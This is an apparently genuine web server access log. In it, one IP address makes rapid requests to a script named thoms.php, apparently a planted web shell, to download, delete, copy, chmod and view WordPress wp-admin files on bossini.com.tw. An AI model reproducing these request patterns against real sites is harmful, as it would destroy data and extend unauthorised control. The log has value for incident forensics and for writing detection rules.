45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ffont-library.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Ffont-library.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:17 -0400] "GET /thoms.php?dl=export-personal-data.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /thoms.php?del=link-add.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29019 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /thoms.php?del=media-upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29021 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /thoms.php?dl=my-sites.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /thoms.php?dl=plugin-install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /thoms.php?del=update-core.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29016 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 200 24943 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-link-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-link-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /bossini.com.tw/wp-admin/js/ HTTP/1.1" 200 3705 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 200 12144 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /bossini.com.tw/wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:18 -0400] "GET /thoms.php?del=post.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=post.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /thoms.php?chmod=admin-post.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fpost.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fpost.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /bossini.com.tw/wp-admin/privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /thoms.php?chmod=theme-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /thoms.php?dl=privacy.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /thoms.php?del=themes.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29020 "http://163.245.207.76:443/thoms.php?del=themes.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fusers.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fusers.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /thoms.php?chmod=admin-footer.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /thoms.php?del=images&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=images&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /thoms.php?dl=link-add.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /thoms.php?dl=options-privacy.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29009 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fimages&p= HTTP/1.1" 200 12329 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:19 -0400] "GET /bossini.com.tw/wp-admin/edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcontribute.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcontribute.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?del=setup-config.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fwidgets-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fwidgets-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin%2Fuser HTTP/1.1" 200 14158 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?del=options-privacy.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?del=admin-footer.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Flink-manager.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Flink-manager.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /bossini.com.tw/wp-admin/admin-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?del=ms-sites.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29019 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:20 -0400] "GET /thoms.php?dl=upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 200 17981 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-admin.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-admin.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /thoms.php?chmod=ms-users.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /thoms.php?chmod=admin.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /thoms.php?dl=term.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29015 "http://163.245.207.76:443/thoms.php?dl=term.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /thoms.php?del=css&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=css&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /thoms.php?chmod=load-scripts.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /bossini.com.tw/wp-admin/link-manager.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /thoms.php?del=plugins.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 200 14040 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:21 -0400] "GET /thoms.php?dl=comment.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:22 -0400] "GET /bossini.com.tw/wp-admin/media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:22 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-reading.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-reading.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:22 -0400] "GET /thoms.php?dl=plugins.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:22 -0400] "GET /thoms.php?chmod=contribute.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:22 -0400] "GET /bossini.com.tw/wp-admin/admin-footer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:22 -0400] "GET /bossini.com.tw/wp-admin/users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:22 -0400] "GET /thoms.php?dl=ms-admin.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29020 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:22 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 200 19040 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:22 -0400] "GET /bossini.com.tw/wp-admin/credits.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:22 -0400] "GET /thoms.php?del=font-library.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29016 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:23 -0400] "GET /thoms.php?del=index.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=index.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:23 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 200 12319 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:23 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=press-this.php HTTP/1.1" 200 13030 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=press-this.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:23 -0400] "GET /thoms.php?dl=options-general.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:23 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 200 15224 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:23 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 200 13049 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:23 -0400] "GET /bossini.com.tw/wp-admin/user-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:23 -0400] "GET /bossini.com.tw/wp-admin/contribute.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:23 -0400] "GET /bossini.com.tw/wp-admin/theme-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:23 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcomment.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcomment.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-writing.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-writing.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /thoms.php?del=ms-options.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29016 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /thoms.php?chmod=site-health.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /thoms.php?chmod=term.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /bossini.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmoderation.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmoderation.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
